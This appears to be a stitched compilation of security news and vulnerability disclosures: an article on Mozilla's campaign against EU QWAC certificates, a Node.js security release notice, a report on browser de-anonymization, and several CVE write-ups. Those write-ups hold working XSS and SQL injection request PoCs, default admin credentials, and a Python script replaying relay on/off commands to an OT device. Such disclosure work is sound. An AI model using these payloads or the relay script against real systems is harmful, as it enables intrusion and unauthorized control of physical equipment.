Mozilla’s message to MEPs appears to be gaining traction, says senior public policy manager at the non-profit

Mozilla’s message to MEPs appears to be gaining traction, says senior public policy manager at the non-profit

Mozilla has stepped up its efforts to dissuade EU lawmakers from forcing web browsers to recognize the validity of contentious web certificates created by the bloc.

The non-profit architect of the Firefox browser has launched a campaign urging Members of the European Parliament (MEPs) to amend proposals tabled by the European Commission (EC) that would oblige browsers to accept Qualified Website Authentication Certificates (QWACs).

**QWACkers**

The EU created QWACs in 2014 to validate a website’s professed identity and therefore – in theory – protect users from fraud, malware, and surveillance.

However, QWACs, which are based on somewhat discredited extended validation certificates, have failed to gain much of a foothold in the web ecosystem in the eight years since their introduction.

Mozilla argues that QWACs are inferior to the existing, longstanding web authentication ecosystem, and that the EC proposal would bypass “the critical first line of defense against cybercrime on the web”.

With MEPs expected to vote on the proposal in October, Mozilla launched a #SecurityRiskAhead campaign yesterday (July 13) with a carnival-style duck-fishing game pitched outside the European Parliament in Brussels.

BACKGROUND EU web authentication plan threatens to undercut browser-led system, detractors claim

Owen Bennett, Mozilla’s senior public policy manager for Europe, told The Daily Swig that Mozilla’s message appeared to be gaining traction.

The QWACs amendment – article 45.2 – was deleted from a recent draft report (PDF) for the EU’s digital identity framework in order to accommodate revisions, and various security-related amendments have already been tabled in parliament, he said.

An open letter urging a rethink, published in March by 38 security experts, was “a big turning point” in persuading MEPs, Bennett believes.

The Internet Society, Electronic Frontier Foundation (EFF), and the world’s largest certificate authority, Let’s Encrypt, have also campaigned against the proposal.

**Trusted system**

The browser-led web authentication system in place sees certificated websites using the TLS-encrypted HTTPS protocol and displaying a padlock icon in the URL address bar to advertise their secure status.

DON’T FORGET TO READ HTTP/3 evolves into RFC 9114 – a security advantage, but not without challenges

Web – or SSL – certificates are currently issued by more than 100 certificate authorities (CAs), which are vetted by Mozilla and other leading browser makers, including Google, Microsoft, and Apple.

Critics of QWACs, which are issued by ‘Trust Service Providers’ (TSPs) approved by governments of EU member states, argue that they cannot draw on comparable technical expertise and resources. They can also point to the fact that hundreds of millions of web users happily submit payment card details online as evidence that the status quo is widely, and justifiably, trusted.

Mozilla takes its message direct to MEPs by pitching up outside the European Parliament

Mozilla CSO Marshall Erwin warned that if the well-intentioned EC proposal were “copied elsewhere, the regulation will give the tools to governments to carry out state-sponsored surveillance of internet traffic”.

Mozilla cited large-scale snooping campaigns by Iran’s theocracy in 2011 and the governments of Kazakhstan and Mauritius in 2020 and 2021 respectively as examples of the activity the regulation could enable.

**‘Ceiling on website security’**

“Article 45 puts a ceiling on website security,” said Bennet. “It says you must accept QWACs, not put in place any additional protections, and not take action when a certificate authority is found to be compromised. For us that creates an untenable risk to Firefox users.”

The EU’s digital identity framework will be incorporated into the electronic Identification, Authentication, and Trust Services (eIDAS) regulation, which was enacted in 2014 to facilitate the emergence of a European internal market for trust services.

RECOMMENDED Decentralized Identifiers: Everything you need to know about the next-gen web ID tech

Bennett said the campaign was not seeking to “blow up the whole regulation”, but that Mozilla simply wanted “some small tweaks” to give browsers the “discretion to take action when an entity issuing QWACs doesn’t meet existing security standards or poses a security risk”.

A spokesperson for the European Commission told The Daily Swig:

The eIDAS Regulation is technology neutral. QWACs were introduced in 2014 as a means to enhance trust and reduce fraud and is used to ensure trusted transactions in the PSD2 environment (as a means for Payment Service Providers to identify).

The concerns raised by the browser community is based on an understanding of the technical implementation of the obligation to recognise QWACs which is not supported by the Commission legal proposal. The Commission proposal intends to achieve recognition of QWACs in the browser environment, which can be achieved without interfering with existing root store policies and web browser security requirement. There is no reason why a certificate issued as trustworthy according to EU law should not be recognised as such by the browser community.

In collaboration with the relevant standardisation bodies and the availability of commonly and globally accepted standards, the implementing act referred to in Article 45 will set out the technical specifications/references to the applicable standards which will enable the recognition of QWACs in accordance with the above.

YOU MIGHT ALSO LIKE Oblivious DNS-over-HTTPS offers privacy enhancements to secure lookup protocol

Crunch time for EU web authentication plan as Mozilla launches campaign to protect status quo

Cross Site Scripting (XSS) vulnerability in sourcecodester Multi Restaurant Table Reservation System 1.0 via the Restaurant Name field to /dashboard/profile.php.

**Exploit Title: Multi Restaurant Table Reservation System - Multiple Persistent XSS****Date: 01-11-2020****Exploit Author: yunaranyancat****Vendor Homepage: https://www.sourcecodester.com****Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip****Version: 1.0****Tested on: Ubuntu 18.04 + XAMPP 7.4.11**

Summary:

Multiple Persistent Cross-site Scripting in Multi Restaurant Table Reservation System allows attacker to gain sensitive information using these vulnerabilities.

**1.CVE-2020-35261**

Persistent XSS vulnerability at /dashboard/profile.php triggered by adding payload in Restaurant Name field

**Sample request POC #1**

    POST /TableReservation/dashboard/profile.php HTTP/1.1
    Host: [TARGET URL/IP]
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://[TARGET URL/IP]/TableReservation/dashboard/profile.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 122
    Cookie: PHPSESSID=0095837d1f0f69aa6c35a0bf2f70193c
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    fullname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&email=lol%40lol&phone=123456789&area=1&address=lol&password=lol&save=Save
    

**2.CVE-2020-36550**

Persistent XSS vulnerability at /dashboard/table-list.php triggered by adding payload in Table Name field in table-add.php

**Sample request POC #2**

    POST /TableReservation/dashboard/manage-insert.php HTTP/1.1
    Host: [TARGET URL/IP]
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://[TARGET URL/IP]/TableReservation/dashboard/table-add.php
    Content-Type: multipart/form-data; boundary=---------------------------424640138424818065256966622
    Content-Length: 321
    Cookie: PHPSESSID=d464c277434e6f2cf4358f59a368b090
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    -----------------------------424640138424818065256966622
    Content-Disposition: form-data; name="tablename"
    
    <script>alert("XSS")</script>
    -----------------------------424640138424818065256966622
    Content-Disposition: form-data; name="addtable"
    
    Add Table
    -----------------------------424640138424818065256966622--
    

**3.CVE-2020-36551**

Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Item Name field in menu-add.php

**4.CVE-2020-36552**

Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Made by field in menu-add.php

**5.CVE-2020-36553**

Persistent XSS vulnerability at /dashboard/menu-list.php triggered by modifying value of Area(food\_type) dropdown to XSS payload in menu-add.php

**Sample request POC #3, #4 & #5**

    POST /TableReservation/dashboard/manage-insert.php HTTP/1.1
    Host: [TARGET URL/IP]
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://[TARGET URL/IP]/TableReservation/dashboard/menu-add.php
    Content-Type: multipart/form-data; boundary=---------------------------165343425917898292661480081499
    Content-Length: 6641
    Cookie: PHPSESSID=d464c277434e6f2cf4358f59a368b090
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    -----------------------------165343425917898292661480081499
    Content-Disposition: form-data; name="itemname"
    
    <script>alert("XSS1")</script>
    -----------------------------165343425917898292661480081499
    Content-Disposition: form-data; name="price"
    
    1
    -----------------------------165343425917898292661480081499
    Content-Disposition: form-data; name="madeby"
    
    <svg onload=alert("XSS2")>
    -----------------------------165343425917898292661480081499
    Content-Disposition: form-data; name="food_type"
    
    <svg onload=prompt("XSS4")>
    -----------------------------165343425917898292661480081499
    Content-Disposition: form-data; name="image"; filename="image.jpeg"
    Content-Type: image/jpeg
    
    ..
    [REDACTED CONTENT OF image.jpeg]
    ..
    
    ----------------------------165343425917898292661480081499
    Content-Disposition: form-data; name="addItem"
    
    Add Item
    -----------------------------165343425917898292661480081499--

CVE-2020-35261: poc-dump/MultiRestaurantReservationSystem/1.0 at main · yunaranyancat/poc-dump

Product Show Room Site v1.0 is vulnerable to SQL Injection via /psrs/classes/Master.php?f=delete_product.

Permalink

Cannot retrieve contributors at this time

**Product Show Room Site v1.0 by oretnom23 has SQL injection**

Vul\_Author: XuBoyu

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html

Vulnerability File: /psrs/classes/Master.php?f=delete\_product

Vulnerability location: /psrs/classes/Master.php?f=delete\_product, id

Current database name: psrs\_db ,length is 7

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /psrs/classes/Master.php?f\=delete\_product HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/psrs/admin/?page=products
Content-Length: 65
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-32416: bug_report/SQLi-1.md at main · Estbonxby/bug_report

Product Show Room Site v1.0 is vulnerable to SQL Injection via /psrs/?p=products/view_product&id=.

**Product Show Room Site v1.0 by oretnom23 has SQL injection**

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html

Vulnerability File: /psrs/?p=products/view\_product&id=

Vulnerability location: /psrs/?p=products/view\_product&id=, id

Current database name: psrs\_db ,length is 7

\[+\] Payload: GET /psrs/?p=products/view\_product&id=1%27%20and%20length(database())%20=7--+ // Leak place ---> id

GET /psrs/?p\=products/view\_product&id\=1%27%20and%20length(database())%20\=7\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1
Connection: close

When length (database ()) = 6, Content-Length: 20014 

When length (database ()) = 7, Content-Length: 21494

CVE-2022-32415: bug_report/SQLi-1.md at main · guydream/bug_report

The llhttp parser in the http module in Node v17.6.0 does not correctly handle multi-line Transfer-Encoding headers. This can lead to HTTP Request Smuggling (HRS).

Updates are now available for the v18.x, v16.x, and v14.x Node.js release lines for the following issues.

The llhttp parser in the http module does not correctly parse and validate Transfer-Encoding headers. This can lead to HTTP Request Smuggling (HRS).

More details will be available at CVE-2022-32213 after publication.

Thank you to Zeyu Zhang (@zeyu2001) for reporting this vulnerability.

Impacts:

*   All versions of the 18.x, 16.x, and 14.x releases lines.
*   llhttp v6.0.7 and llhttp v2.1.5 contains the fixes that were updated inside Node.js

The llhttp parser in the http module does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

More details will be available at CVE-2022-32214 after publication.

Thank you to Zeyu Zhang (@zeyu2001) for reporting this vulnerability.

Impacts:

*   All versions of the 18.x, 16.x, and 14.x releases lines.
*   llhttp v6.0.7 and llhttp v2.1.5 contains the fixes that were updated inside Node.js

The llhttp parser in the http module does not correctly handle multi-line Transfer-Encoding headers. This can lead to HTTP Request Smuggling (HRS).

More details will be available at CVE-2022-32215 after publication.

Thank you to Zeyu Zhang (@zeyu2001) for reporting this vulnerability.

Impacts:

*   All versions of the 18.x, 16.x, and 14.x releases lines.
*   llhttp v6.0.7 and llhttp v2.1.5 contains the fixes that were updated inside Node.js

The IsAllowedHost check can easily be bypassed because IsIPAddress does not properly check if an IP address is invalid or not. When an invalid IPv4 address is provided (for instance 10.0.2.555 is provided), browsers (such as Firefox) will make DNS requests to the DNS server, providing a vector for an attacker-controlled DNS server or a MITM who can spoof DNS responses to perform a rebinding attack and hence connect to the WebSocket debugger, allowing for arbitrary code execution. This is a bypass of CVE-2021-22884.

More details will be available at CVE-2022-32212 after publication.

Thank you to Axel Chong for reporting this vulnerability.

Impacts:

*   All versions of the 18.x, 16.x, and 14.x releases lines.

This vulnerability can be exploited if the victim has the following dependencies on Windows machine:

*   OpenSSL has been installed and “C:\\Program Files\\Common Files\\SSL\\openssl.cnf” exists.

Whenever the above conditions are present, node.exe will search for providers.dll in the current user directory. After that, node.exe will try to search for providers.dll by the DLL Search Order in Windows.

It is possible for an attacker to place the malicious file providers.dll under a variety of paths and exploit this vulnerability.

More details will be available at CVE-2022-32223 after publication.

Thank you to Yakir Kadkoda from Aqua Security for reporting this vulnerability.

Impacts:

*   All versions of the 16.x, and 14.x releases lines.

Note:

*   This is a breaking change that has been made to the v14.x, v16.x, and v18.x releases lines.

Node.js can use an OpenSSL configuration file by specifying the environment variable OPENSSL_CONF, or using the command line option --openssl-conf, and if none of those are specified will default to reading the default OpenSSL configuration file openssl.cnf. **Node.js will only read a section that is by default named nodejs_conf**.

If your installation was using the default openssl.cnf file and is affected by this breaking change you can fall back to the previous behavior by:

*   Adding --openssl-shared-config to the command line (Node.js 18.5.0 only); or
*   Creating a new nodejs_conf section in that file and copying the contents of the default section into the new nodejs_conf section.

When Node.js starts on linux based systems, it attempts to read /home/iojs/build/ws/out/Release/obj.target/deps/openssl/openssl.cnf, which ordinarily doesn't exist. On some shared systems an attacker may be able create this file and therefore affect the default OpenSSL configuration for other users.

Thank you to Michael Scovetta from the OpenSSF Alpha-Omega project for reporting this vulnerability.

Impacts:

*   Node.js 18.x

AES OCB mode for 32-bit x86 platforms using the AES-NI assembly optimised implementation will not encrypt the entirety of the data under some circumstances. This could reveal sixteen bytes of data that was preexisting in the memory that wasn't written. In the special case of "in place" encryption, sixteen bytes of the plaintext would be revealed.

Since OpenSSL does not support OCB based cipher suites for TLS and DTLS, they are both unaffected.

Impacts:

*   All versions of the 18.x, 16.x, and 14.x releases lines.

**Downloads and release details**

*   Node.js v14.20.0 (LTS)
*   Node.js v16.16.0 (LTS)
*   Node.js v18.5.0 (Current)

The Node.js Security Releases will be available on, or shortly after, Thursday, July 7th, 2022.

With respect to the vulnerabilities in the OpenSSL Security releases of Jul 5th 2022 affects Node.js v18.x, v16.x, and v14.x.

*   Node.js is affected by **one** MODERATE vulnerability on Windows 32-Bit x86.

The security release will be delayed so that we can incorporate the the updated OpenSSL versions. We will post another update once we have an updated target for the release date.

Our assessment of the security advisory is:

This vulnerability affects OpenSSL 3.0.4 users. However, Node.js has not shipped any version that used OpenSSL 3.0.4. Therefore, Node.js is not affected.

This vulnerability affects Windows 32-Bit x86 users using AES OCB encryption. The serverity is MODERATE.

The OpenSSL versions 1.1.1q and 3.0.5 will be released July, 5th 2022. The announcement can be found here: https://mta.openssl.org/pipermail/openssl-announce/2022-July/000229.html

The Node.js team will evaluate the OpenSSL changes when they are available and then announce the new target date by Thursday or earlier.

The Node.js project will release new versions of the 14.x, 16.x, and 18.x releases lines on or shortly after Tuesday, July 5th, 2022 in order to address:

*   Three medium severity issues.
*   Two high severity issues.

The 18.x release line of Node.js is vulnerable to three medium severity issues and one high severity issues.

The 16.x release line of Node.js is vulnerable to three medium severity issues and two high severity issues.

The 14.x release line of Node.js is vulnerable to three medium severity issues and two high severity issues.

Releases will be available on, or shortly after, Tuesday, July 5th, 2022.

However, when details of the OpenSSL defects are released on the 5th, our team will be making a more detailed assessment on the likely severity for Node.js users.

The OpenSSL release may delay the Node.js release date. See OpenSSL Security Release

Please monitor the **nodejs-sec** Google Group for updates, including a decision within 24 hours after the OpenSSL release regarding release timing, and full details of the defects upon eventual release: https://groups.google.com/forum/#!forum/nodejs-sec

The current Node.js security policy can be found at https://nodejs.org/en/security/. Please follow the process outlined in https://github.com/nodejs/node/blob/main/SECURITY.md if you wish to report a vulnerability in Node.js.

Subscribe to the low-volume announcement-only nodejs-sec mailing list at https://groups.google.com/forum/#!forum/nodejs-sec to stay up to date on security vulnerabilities and security-related releases of Node.js and the projects maintained in the nodejs GitHub organization.

CVE-2022-32215: July 7th 2022 Security Releases | Node.js

relay_cgi.cgi on Dingtian DT-R002 2CH relay devices with firmware 3.1.276A allows an attacker to replay HTTP post requests without the need for authentication or a valid signed/authorized request.

In the OT space it is increasingly common to see devices that are used to bridge the gap between the world of PLCs and IP based networks.

These types of devices are commonly referred to as ‘smart-devices’. While smart-devices offer the convenience of remote management, this functionality also may create potential weaknesses exploitable by threat actors as well, and practical exploitation of such flaws is being witnessed in the wild.

This blog post describes an authentication bypass within one such device, that allows an attacker with access to the IP network the ability to capture and subsequently replay discrete device commands, which allows for the switching on and off the physical relays on the device. As will be seen, these attacks can come in the form of ModBus or simple HTTP based methods.

**Target**

The Dingtian DT-R002 is an embedded board/relay card that allows for the control of Physical Relays through both HTTP and ModBus communications over an IP network.

**Vulnerability**

The Dingtian (Dingtian DT-R002) 2CH relay, running firmware V3.1.276A contains a vulnerability that if exploited allows an attacker to replay the same data or similar data. This allows the attacker to control the devices attached to the relays without requiring authentication.

**Finding**

It was found that the device relays could be controlled (turned on and off) through unauthenticated HTTP requests. Due to the use of a cleartext protocol for the sending of command messages, in this case HTTP, it is possible to capture these requests using sniffing techniques.

The following HTTP control messages were intercepted and subsequently successfully replayed to the Dingtian 2CH relay to effect control of the device:

**Sample Requests**

    
    GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
    Host: 192.168.7.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Referer: http://192.168.7.1/relay_cgi.html
    Cookie: session=4463009
    
    Response
    HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: 11
    
    &0&0&0&1&0&
    

_**Figure 1.** HTTP request triggering the Dingtian 2CH relay to switch relay to the “ON” state_

    
    GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
    Host: 192.168.7.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Referer: http://192.168.7.1/relay_cgi.html
    Cookie: session=4463009
    
    Response
    HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: 11
    
    &0&0&0&0&0&
    
    

_**Figure 2.** HTTP request triggering the Dingtian 2CH relay to switch relay to the “OFF” state_

**Vulnerability**

CWE-294 - Authentication Bypass by Capture-Replay

**Known Affected Software Configurations**

V3.1.276A (Firmware)

**PoC Code**

The following custom PoC script was used by Trustwave SpiderLabs to demonstrate the issue by replaying the messages in Figures 1 and 2 against the vulnerable device.

    
    #!/usr/local/bin/python3
    # Author: Victor Hanna (SpiderLabs)
    # DingTian DT-R002 2CH Smart Relay
    # CWE-294 - Authentication Bypass by Capture-replay
    
    import requests
    import re
    import urllib.parse
    from colorama import init
    from colorama import Fore, Back, Style
    import sys
    import os
    import time
    
    from urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    
    def banner():
        print ("[+]********************************************************************************[+]")
        print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t    |")
        print ("|   Description: DingTian DT-R002 2CH Smart Relay                                      |")
        print ("|   Usage : "+sys.argv[0]+"  <relay#>                                           |")   
        print ("[+]********************************************************************************[+]")
    def main():
        os.system('clear')
        banner()
        urlRelay1On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
        urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
        urlRelay2On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
        urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"
    
        headers = {
            "Host": ""+host+"",
            "User-Agent": "9lyph/3.0",
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "DNT": "1",
            "Connection": "close",
            "Referer": "http://"+host+"/relay_cgi.html",
            "Cookie": "session=4463009"
        }
    
        print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
        for i in range(5):
            time.sleep (1)
            print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
        try:
            if (relay == "1"):
                print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
                r = requests.get(urlRelay1On)
                time.sleep (5)
                print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
                r = requests.get(urlRelay1Off)
                print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
            elif (relay == "2"):
                print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
                r = requests.get(urlRelay2On)
                time.sleep (5)
                print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
                r = requests.get(urlRelay2Off)
                print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
            else:
                print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
        except KeyboardInterrupt:
            sys.exit(1)
    except requests.exceptions.Timeout:
            print ("[!] Connection to host timed out !")
            sys.exit(1)
        except Exception as e:
            print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)
    
    if __name__ == "__main__":
        if len(sys.argv)>2:    
            host = sys.argv[1]
            relay = sys.argv[2]
            main ()
        else:
            print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)
    
    

_**Figure 3.** PoC exploit script_

As a part of Trustwave’s Responsible Disclosure policy, we reached out to the vendor to ensure that a patch was released prior to public disclosure. However, at the time of this disclosure no patch has been issued by the vendor.

The following video shows exploitation of the vulnerability using the proof-of-concept code presented above.

Description of an additional ModBus attack vector and details of the device teardown can be found at the researcher’s Github repository linked below.

**References**

Github: https://github.com/SpiderLabs/advisories-poc/tree/master/CVE-2022-29593

TWSL Advisory: TWSL2022-001: Authentication Bypass by Capture-replay in DingTian 2 Channel Relay Board

Victor’s Modbus 101 primer: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modbus-101-one-protocol-to-rule-the-ot-world/

CVE-2022-29593: CVE-2022-29593- Authentication Bypass by Capture Replay (Dingtian-DT-R002)

Researchers have found a way to use the web's basic functions to identify who visits a site—without the user detecting the hack.

Everyone from advertisers and marketers to government-backed hackers and spyware makers wants to identify and track users across the web. And while a staggering amount of infrastructure is already in place to do exactly that, the appetite for data and new tools to collect it has proved insatiable. With that reality in mind, researchers from the New Jersey Institute of Technology are warning this week about a novel technique attackers could use to de-anonymize website visitors and potentially connect the dots on many components of targets’ digital lives.

The findings, which NJIT researchers will present at the Usenix Security Symposium in Boston next month, show how an attacker who tricks someone into loading a malicious website can determine whether that visitor controls a particular public identifier, like an email address or social media account, thus linking the visitor to a piece of potentially personal data. 

When you visit a website, the page can capture your IP address, but this doesn’t necessarily give the site owner enough information to individually identify you. Instead, the hack analyzes subtle features of a potential target’s browser activity to determine whether they are logged into an account for an array of services, from YouTube and Dropbox to Twitter, Facebook, TikTok, and more. Plus the attacks work against every major browser, including the anonymity-focused Tor Browser.

“If you’re an average internet user, you may not think too much about your privacy when you visit a random website,” says Reza Curtmola, one of the study authors and a computer science professor at NJIT. “But there are certain categories of internet users who may be more significantly impacted by this, like people who organize and participate in political protest, journalists, and people who network with fellow members of their minority group. And what makes these types of attacks dangerous is they’re very stealthy. You just visit the website and you have no idea that you’ve been exposed.”

The risk that government-backed hackers and cyber-arms dealers will attempt to de-anonymize web users isn’t just theoretical. Researchers have documented a number of techniques used in the wild and have witnessed situations in which attackers identified individual users, though it wasn’t clear how.

Other theoretical work has looked at an attack similar to the one NJIT researchers developed, but much of this past investigation has focused on grabbing revealing data that’s leaked between websites when one service makes a request to another. As a result of this prior work, browsers and website developers have improved how data is isolated and restricted when content loads, making these potential attack paths less feasible. Knowing that attackers are motivated to seek out techniques for identifying users, though, the researchers wanted to explore additional approaches.

“Let’s say you have a forum for underground extremists or activists, and a law enforcement agency has covertly taken control of it,” Curtmola says. “They want to identify the users of this forum but can’t do this directly because the users use pseudonyms. But let’s say that the agency was able to also gather a list of Facebook accounts who are suspected to be users of this forum. They would now be able to correlate whoever visits the forum with a specific Facebook identity.”

How this de-anonymization attack works is difficult to explain but relatively easy to grasp once you have the gist. Someone carrying out the attack needs a few things to get started: a website they control, a list of accounts tied to people they want to identify as having visited that site, and content posted to the platforms of the accounts on their target list that either allows the targeted accounts to view that content or blocks them from viewing it—the attack works both ways. 

Next, the attacker embeds the aforementioned content on the malicious website. Then they wait to see who clicks. If anyone on the targeted list visits the site, the attackers will know who they are by analyzing which users can (or cannot) view the embedded content.

The attack takes advantage of a number of factors most people likely take for granted: Many major services—from YouTube to Dropbox—allow users to host media and embed it on a third-party website. Regular users typically have an account with these ubiquitous services and, crucially, they often stay logged into these platforms on their phones or computers. Finally, these services allow users to restrict access to content uploaded to them. For example, you can set your Dropbox account to privately share a video with one or a handful of other users. Or you can upload a video to Facebook publicly but block certain accounts from viewing it. 

These “block” or “allow” relationships are the crux of how the researchers found that they can reveal identities. In the “allow” version of the attack, for instance, hackers might quietly share a photo on Google Drive with a Gmail address of potential interest. Then they embed the photo on their malicious web page and lure the target there. When visitors’ browsers attempt to load the photo via Google Drive, the attackers can accurately infer whether a visitor is allowed to access the content—aka, whether they have control of the email address in question. 

Thanks to the major platforms’ existing privacy protections, the attacker can’t check directly whether the site visitor was able to load the content. But the NJIT researchers realized they could analyze accessible information about the target’s browser and the behavior of their processor as the request is happening to make an inference about whether the content request was allowed or denied. 

The technique is known as a “side channel attack” because the researchers found that they could accurately and reliably make this determination by training machine learning algorithms to parse seemingly unrelated data about how the victim’s browser and device process the request. Once the attacker knows that the one user they allowed to view the content has done so (or that the one user they blocked has been blocked) they have de-anonymized the site visitor.

Complicated as it may sound, the researchers warn that it would be simple to carry out once attackers have done the prep work. It would only take a couple of seconds to potentially unmask each visitor to the malicious site—and it would be virtually impossible for an unsuspecting user to detect the hack. The researchers developed a browser extension that can thwart such attacks, and it is available for Chrome and Firefox. But they note that it may impact performance and isn’t available for all browsers.

Through a major disclosure process to numerous web services, browsers, and web standards bodies, the researchers say they have started a larger discussion about how to comprehensively address the issue. At the moment, Chrome and Firefox have not publicly released responses. And Curtmola says fundamental and likely infeasible changes to the way processors are designed would be needed to address the issue at the chip level. Still, he says that collaborative discussions through the World Wide Web Consortium or other forums could ultimately produce a broad solution.

“Vendors are trying to see if it’s worth the effort to resolve this,” he says. “They need to be convinced that it’s a serious enough issue to invest in fixing it.”

A New Attack Can Unmask Anonymous Users on Any Major Browser

An arbitrary file upload vulnerability in the background management module of RuoYi v4.7.3 and below allows attackers to execute arbitrary code via a crafted HTML file.

Vulnerability disclosure

Vulnerability title: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms

Product: https://github.com/yangzongzhuan/RuoYi

Affected Versions: v4.7.3(the lastest vesion)

Discovery time: 2022.5.16

Found by: solarpeng502

Exploit sence: The System allows multiple users to log in. If a user is granted user management rights, he can insert a malicious xss payload on user management page, so that all users with this permission can access and trigger an xss attack

Analysis report:

1.  If you are not Chinese,please change the language into the English through Browser translation plugin such as Google.
    
2.  After deployment, enter the background management page  
    
3.  Click the avatar into the personal center  
    
4.  Click the "modify avatar",and upload a normal image,the click OK button  
      
    
5.  Intercept the request package with a packet capture tool such as burp, change the file suffix to html, and change the content with xss payload such as "<script>alert(1)</script>,then pass the request,and the response shows "{"msg":"操作成功","code":0}",which means upload success  
      
      
    
6.  Refresh the index page,start burp,and then click the avatar again,the burp will intercept the xss html that we upload  
      
    
7.  Copy the html url,and then send to the other users using Ruoyi cms,if they click,the xss attack is triggered  
    

POC:

POST /system/user/profile/updateAvatar HTTP/1.1  
Host: mysite.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0  
Accept: _/_  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------21781164112778176297556867959  
Content-Length: 249  
Origin: http://mysite.com/  
Connection: close  
Referer: http://mysite.com/system/user/profile/avatar  
Cookie: Your cookies

\-----------------------------21781164112778176297556867959  
Content-Disposition: form-data; name="avatarfile"; filename="blob.html"  
Content-Type: image/png

<script>alert(1)</script>

\-----------------------------21781164112778176297556867959--

Fixes: The backend should verify the file suffix, and do not allow html file upload;or check the content in Html file that filter xss payloads.

